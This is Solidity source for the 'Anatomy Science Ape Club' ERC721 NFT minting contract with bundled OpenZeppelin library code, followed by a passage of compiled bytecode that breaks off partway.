// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } contract ASAC is Ownable, ERC721 { uint256 public constant TOTAL_MAX_QTY = 8000; uint256 public constant FREE_MINT_MAX_QTY = 800; uint256 public constant PAID_MINT_MAX_QTY = 7120; uint256 public constant TOTAL_MINT_MAX_QTY = FREE_MINT_MAX_QTY + PAID_MINT_MAX_QTY; uint256 public constant GIFT_MAX_QTY = 80; uint256 public constant PRICE = 0.039 ether; uint256 public constant MAX_QTY_PER_WALLET = 20; string private _tokenBaseURI; uint256 public maxFreeQtyPerWallet = 0; uint256 public mintedQty = 0; uint256 public giftedQty = 0; mapping(address => uint256) public minterToTokenQty; address proxyRegistryAddress; constructor() ERC721("Anatomy Science Ape Club", "ASAC") {} function totalSupply() public view returns (uint256) { return mintedQty + giftedQty; } function mint(uint256 _mintQty) external payable { // free if (mintedQty < FREE_MINT_MAX_QTY) { require(mintedQty + _mintQty <= FREE_MINT_MAX_QTY, "MAXL"); require( minterToTokenQty[msg.sender] + _mintQty <= maxFreeQtyPerWallet, "MAXF" ); } //paid else { require(mintedQty + _mintQty <= TOTAL_MINT_MAX_QTY, "MAXL"); require( minterToTokenQty[msg.sender] + _mintQty <= MAX_QTY_PER_WALLET, "MAXP" ); require(msg.value >= PRICE * _mintQty, "SETH"); } uint256 totalSupplyBefore = totalSupply(); mintedQty += _mintQty; minterToTokenQty[msg.sender] += _mintQty; for (uint256 i = 0; i < _mintQty; i++) { _mint(msg.sender, ++totalSupplyBefore); } } function gift(address[] calldata receivers) external onlyOwner { require(giftedQty + receivers.length <= GIFT_MAX_QTY, "MAXG"); uint256 totalSupplyBefore = totalSupply(); giftedQty += receivers.length; for (uint256 i = 0; i < receivers.length; i++) { _mint(receivers[i], ++totalSupplyBefore); } } function withdrawAll() external onlyOwner { require(address(this).balance > 0, "ZERO"); payable(msg.sender).transfer(address(this).balance); } function setMaxFreeQtyPerTx(uint256 _maxQtyPerTx) external onlyOwner { maxFreeQtyPerWallet = _maxQtyPerTx; } // rinkeby: 0xf57b2c51ded3a29e6891aba85459d600256cf317 // mainnet: 0xa5409ec958c83c3f309868babaca7c86dcb077c1 function setProxyRegistryAddress(address proxyAddress) external onlyOwner { proxyRegistryAddress = proxyAddress; } function isApprovedForAll(address owner, address operator) public view override returns (bool) { ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } function setBaseURI(string calldata URI) external onlyOwner { _tokenBaseURI = URI; } function _baseURI() internal view override(ERC721) returns (string memory) { return _tokenBaseURI; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
0x6080604052600436106101f95760003560e01c806388aadd411161010d578063a22cb465116100a0578063d26ea6c01161006f578063d26ea6c014610702578063dee816e61461072b578063e351da4c14610756578063e985e9c514610781578063f2fde38b146107be576101f9565b8063a22cb46514610648578063b88d4fde14610671578063bd34fc571461069a578063c87b56dd146106c5576101f9565b806395d89b41116100dc57806395d89b41146105ab578063966784ec146105d65780639a525d9c14610601578063a0712d681461062c576101f9565b806388aadd41146104ed5780638d859f3e1461052a5780638da5cb5b14610555578063918ce43214610580576101f9565b80633f5632b0116101905780636352211e1161015f5780636352211e1461041c57806370a0823114610459578063715018a614610496578063738a92e8146104ad578063853828b6146104d6576101f9565b80633f5632b01461037457806342842e0e1461039f57806355f804b3146103c85780635f717202146103f1576101f9565b8063163e1e61116101cc578063163e1e61146102cc57806318160ddd146102f557806323b872dd146103205780633354fe3414610349576101f9565b806301ffc9a7146101fe57806306fdde031461023b578063081812fc14610266578063095ea7b3146102a3575b600080fd5b34801561020a57600080fd5b506102256004803603810190610220919061274d565b6107e7565b6040516102329190612795565b60405180910390f35b34801561024757600080fd5b506102506108c9565b60405161025d9190612849565b60405180910390f35b34801561027257600080fd5b5061028d600480360381019061028891906128a1565b61095b565b60405161029a919061290f565b60405180910390f35b3480156102af57600080fd5b506102ca60048036038101906102c59190612956565b6109e0565b005b3480156102d857600080fd5b506102f360048036038101906102ee91906129fb565b610af8565b005b34801561030157600080fd5b5061030a610c54565b6040516103179190612a57565b60405180910390f35b34801561032c57600080fd5b5061034760048036038101906103429190612a72565b610c6b565b005b34801561035557600080fd5b5061035e610ccb565b60405161036b9190612a57565b60405180910390f35b34801561038057600080fd5b50610389610cd0565b6040516103969190612a57565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612a72565b610cd6565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190612b1b565b610cf6565b005b3480156103fd57600080fd5b50610406610d88565b6040516104139190612a57565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e91906128a1565b610d9b565b604051610450919061290f565b60405180910390f35b34801561046557600080fd5b50610480600480360381019061047b9190612b68565b610e4d565b60405161048d9190612a57565b60405180910390f35b3480156104a257600080fd5b506104ab610f05565b005b3480156104b957600080fd5b506104d460048036038101906104cf91906128a1565b610f8d565b005b3480156104e257600080fd5b506104eb611013565b005b3480156104f957600080fd5b50610514600480360381019061050f9190612b68565b61111b565b6040516105219190612a57565b60405180910390f35b34801561053657600080fd5b5061053f611133565b60405161054c9190612a57565b60405180910390f35b34801561056157600080fd5b5061056a61113e565b604051610577919061290f565b60405180910390f35b34801561058c57600080fd5b50610595611167565b6040516105a29190612a57565b60405180910390f35b3480156105b757600080fd5b506105c061116d565b6040516105cd9190612849565b60405180910390f35b3480156105e257600080fd5b506105eb6111ff565b6040516105f89190612a57565b60405180910390f35b34801561060d57600080fd5b50610616611205565b6040516106239190612a57565b60405180910390f35b610646600480360381019061064191906128a1565b61120b565b005b34801561065457600080fd5b5061066f600480360381019061066a9190612bc1565b6114f4565b005b34801561067d57600080fd5b5061069860048036038101906106939190612d31565b611675565b005b3480156106a657600080fd5b506106af6116d7565b6040516106bc9190612a57565b60405180910390f35b3480156106d157600080fd5b506106ec60048036038101906106e791906128a1565b6116dd565b6040516106f99190612849565b60405180910390f35b34801561070e57600080fd5b5061072960048036038101906107249190612b68565b611784565b005b34801561073757600080fd5b50610740611844565b60405161074d9190612a57565b60405180910390f35b34801561076257600080fd5b5061076b61184a565b6040516107789190612a57565b60405180910390f35b34801561078d57600080fd5b506107a860048036038101906107a39190612db4565b61184f565b6040516107b59190612795565b60405180910390f35b3480156107ca57600080fd5b506107e560048036038101906107e09190612b68565b611951565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108b257507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806108c257506108c182611a49565b5b9050919050565b6060600180546108d890612e23565b80601f016020809104026020016040519081016040528092919081815260200182805461090490612e23565b80156109515780601f1061092657610100808354040283529160200191610951565b820191906000526020600020905b81548152906001019060200180831161093457829003601f168201915b5050505050905090565b600061096682611ab3565b6109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099c90612ec7565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006109eb82610d9b565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5390612f59565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610a7b611b1f565b73ffffffffffffffffffffffffffffffffffffffff161480610aaa5750610aa981610aa4611b1f565b61184f565b5b610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae090612feb565b60405180910390fd5b610af38383611b27565b505050565b610b00611b1f565b73f